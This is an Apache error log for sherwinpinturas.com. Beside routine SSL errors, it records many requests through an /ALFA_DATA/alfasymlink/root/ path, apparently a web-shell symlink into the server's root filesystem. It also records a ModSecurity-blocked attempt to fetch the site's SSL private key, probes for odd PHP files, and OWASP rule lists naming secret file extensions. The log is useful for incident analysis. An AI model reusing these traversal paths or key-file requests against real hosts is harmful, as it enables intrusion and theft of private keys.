[Sat Oct 24 08:50:22.145797 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.216.227.216:12673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:50:30.158177 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.83.8.142:24402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:50:39.229360 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 85.208.96.208:15198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:50:54.532798 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.88.84.219:50165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:02.154841 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 35.169.102.85:16156] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:06.141867 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.197.28.78:14541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:10.315103 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.225.81.20:9854] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:18.141435 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 52.204.71.8:28936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/piix4_smbus/0000:00:01.3/remove
[Sat Oct 24 08:51:22.164777 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.166.126.132:40545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:42.127053 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.216.86.144:9015] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:46.341125 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.4.238.8:14535] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:51:50.156655 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.221.227.90:55541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:01.731405 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.16:26894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/destroy_by_rcu
[Sat Oct 24 08:52:11.861008 2026] [security2:error] [pid 2635684:tid 2635684] [client 43.130.16.140:38652] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_tlaxcala_1.html"] [unique_id "atyp-_h8HbpaJ2ileDIi5QAAABE"]
[Sat Oct 24 08:52:14.168083 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.205.222.214:14968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:22.166172 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.229.124:48282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:30.129281 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.89.176.255:11124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:31.195273 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.15:62886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/trace
[Sat Oct 24 08:52:34.134641 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.45.15.233:6850] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:38.369510 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.234.206.30:24770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:42.146228 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.133.214:21782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:46.270357 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.215.59.93:50807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:52:54.386805 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 44.193.115.232:62594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/crash_notes
[Sat Oct 24 08:52:58.131579 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 23.23.213.182:61827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:06.200904 2026] [ssl:error] [pid 2635684:tid 2635684] (5)Input/output error: [client 23.21.175.228:50118] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:14.300305 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.236.41.241:59398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:22.545153 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 185.191.171.18:27542] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:26.212374 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 184.73.35.182:29457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:27.159425 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 185.191.171.8:38820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:30.156428 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.194.95.99:43997] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:32.148007 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.2:51158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/red_zone
[Sat Oct 24 08:53:38.230846 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.214.176.44:19080] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:53:42.228918 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.231.45.47:48992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/LNXCPU:00/physical_node/crash_notes
[Sat Oct 24 08:53:46.309423 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 54.84.147.79:30976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event4/subsystem/input5/subsystem/event1/device/device/driver/unbind
[Sat Oct 24 08:53:58.169771 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.84.147.79:22157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:02.168909 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.89.170.186:25931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:02.372004 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.1:25402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/cpu_partial
[Sat Oct 24 08:54:10.267062 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.203.65.83:23813] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/eject
[Sat Oct 24 08:54:14.151161 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 54.210.152.179:1217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/LNXCPU:01/subsystem/drivers_probe
[Sat Oct 24 08:54:26.128504 2026] [ssl:error] [pid 2635676:tid 2635676] (5)Input/output error: [client 52.2.191.202:47373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:30.143007 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.6.97.88:36570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:34.467352 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 23.21.148.226:12453] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:38.284251 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.221.244.28:27493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:54:42.316471 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.221.50.71:9265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:55:14.198242 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.212.219.113:18639] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:55:34.179368 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.215.221.125:58348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:55:46.259392 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 23.21.119.232:15140] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers_probe
[Sat Oct 24 08:55:50.297051 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.211.105.134:20040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:56:04.203926 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.7:36462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/slabs
[Sat Oct 24 08:56:10.159822 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 54.87.95.7:3188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:04.0/virtio1/subsystem/drivers/virtio_balloon/uevent
[Sat Oct 24 08:56:14.175917 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.203.68.145:37145] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:56:18.168269 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.159.18.27:12684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:56:32.394941 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.194:20306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/reclaim_account
[Sat Oct 24 08:56:38.321865 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.209.137.234:19898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:56:42.188428 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.221.105.234:20638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:56:44.194989 2026] [security2:error] [pid 2635684:tid 2635684] [client 85.208.96.194:32246] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c15f9_9ac4f_8882c9ba66ae66ae57ae7592ebc42b57.key"] [unique_id "atyrDPh8HbpaJ2ileDIi7wAAABE"]
[Sat Oct 24 08:56:44.195536 2026] [security2:error] [pid 2635684:tid 2635684] [client 85.208.96.194:32246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c15f9_9ac4f_8882c9ba66ae66ae57ae7592ebc42b57.key"] [unique_id "atyrDPh8HbpaJ2ileDIi7wAAABE"]
[Sat Oct 24 08:56:44.196022 2026] [security2:error] [pid 2635684:tid 2635684] [client 85.208.96.194:32246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c15f9_9ac4f_8882c9ba66ae66ae57ae7592ebc42b57.key"] [unique_id "atyrDPh8HbpaJ2ileDIi7wAAABE"]
[Sat Oct 24 08:57:02.452193 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 35.169.119.108:59655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:14.265661 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.91.122.193:46849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:18.222091 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.153.86.200:20391] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:30.433639 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.215.221.125:50840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:34.252487 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.207.79.144:24221] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:38.310856 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.204.89.12:53287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:42.229016 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.216.227.216:10492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:46.437389 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.89.90.224:65286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:57:58.381267 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.200.142.199:21816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:02.248293 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.84.169.196:53435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:06.262224 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.23.214.190:5120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:26.749469 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 44.217.177.142:25906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:30.245421 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.225.81.20:44307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:34.973915 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.174.141.243:13867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:42.258580 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.82.38.120:6634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:58:58.275511 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 18.206.47.187:63502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/ac/uevent
[Sat Oct 24 08:59:14.372408 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.3.104.214:50857] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:59:54.663987 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 50.16.216.166:58029] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:59:58.430837 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.207.47.227:4384] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:02.296073 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 98.84.184.80:59541] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty4/subsystem/tty0/subsystem/ttyS0/flags
[Sat Oct 24 09:00:06.415169 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 184.73.239.35:15132] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:10.434097 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.200.58.199:54628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:11.570056 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.15:42964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark/shrink
[Sat Oct 24 09:00:14.864588 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.216.227.216:37667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:22.329457 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 52.200.142.199:60122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/unbind
[Sat Oct 24 09:00:26.410606 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.193.102.198:36823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:30.293680 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.221.203.24:55208] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:34.382279 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.216.86.144:18326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:38.345458 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 23.23.180.225:50202] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:00/physical_node/driver/new_id
[Sat Oct 24 09:00:46.494960 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.44.174.136:4089] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:50.594829 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.225.138.57:47393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:00:54.377500 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.45.77.169:12994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/flags
[Sat Oct 24 09:01:06.369100 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.220.148.166:31058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:10.812559 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 54.84.147.79:64570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:14.361636 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 44.207.207.36:46255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:22.375685 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.90.8.255:22495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/driver/bind
[Sat Oct 24 09:01:27.256335 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 54.86.59.155:31826] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:30.444344 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.205.170.13:24346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:38.394804 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.221.222.168:1467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:42.383223 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.215.61.66:47401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:46.546170 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 54.162.69.192:20127] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/rescan
[Sat Oct 24 09:01:50.361941 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.205.120.22:48883] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:01:55.331255 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 23.21.250.48:56341] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/pci-stub/new_id
[Sat Oct 24 09:02:02.526314 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.93.8:50084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:06.431214 2026] [ssl:error] [pid 2625330:tid 2625330] (22)Invalid argument: [client 3.213.85.234:7670] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:06.942089 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.7:35178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/cpu_slabs
[Sat Oct 24 09:02:08.786607 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.197:36982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/align
[Sat Oct 24 09:02:08.787134 2026] [security2:error] [pid 2635678:tid 2635678] [client 85.208.96.197:36982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/align"] [unique_id "atysUKC4H19ncVbSqfEyXgAAAAU"]
[Sat Oct 24 09:02:08.787203 2026] [security2:error] [pid 2635678:tid 2635678] [client 85.208.96.197:36982] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-2k/align"] [unique_id "atysUKC4H19ncVbSqfEyXgAAAAU"]
[Sat Oct 24 09:02:10.809173 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.70.209.13:53864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:19.831680 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.206.212.24:62294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:22.566211 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.45.92.83:11267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:11/eject
[Sat Oct 24 09:02:26.450885 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.166.104.83:51807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:30.364021 2026] [security2:error] [pid 2607843:tid 2607843] [client 43.130.100.35:36614] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "atysZgSwRuPA-FjBma7JqgAAAAI"]
[Sat Oct 24 09:02:30.466013 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.225.98.148:60636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:38.411891 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.93.211.16:60303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:02:38.412087 2026] [security2:error] [pid 2609012:tid 2609012] [client 3.93.211.16:60303] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/cpu1/topology/cluster_cpus"] [unique_id "atysbnUcfBNBYE9xHAJBbwAAAAA"]
[Sat Oct 24 09:02:38.412119 2026] [security2:error] [pid 2609012:tid 2609012] [client 3.93.211.16:60303] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/cpu1/topology/cluster_cpus"] [unique_id "atysbnUcfBNBYE9xHAJBbwAAAAA"]
[Sat Oct 24 09:02:42.392520 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.70.138.176:57392] AH02013: coalesce failed to read from data bucket
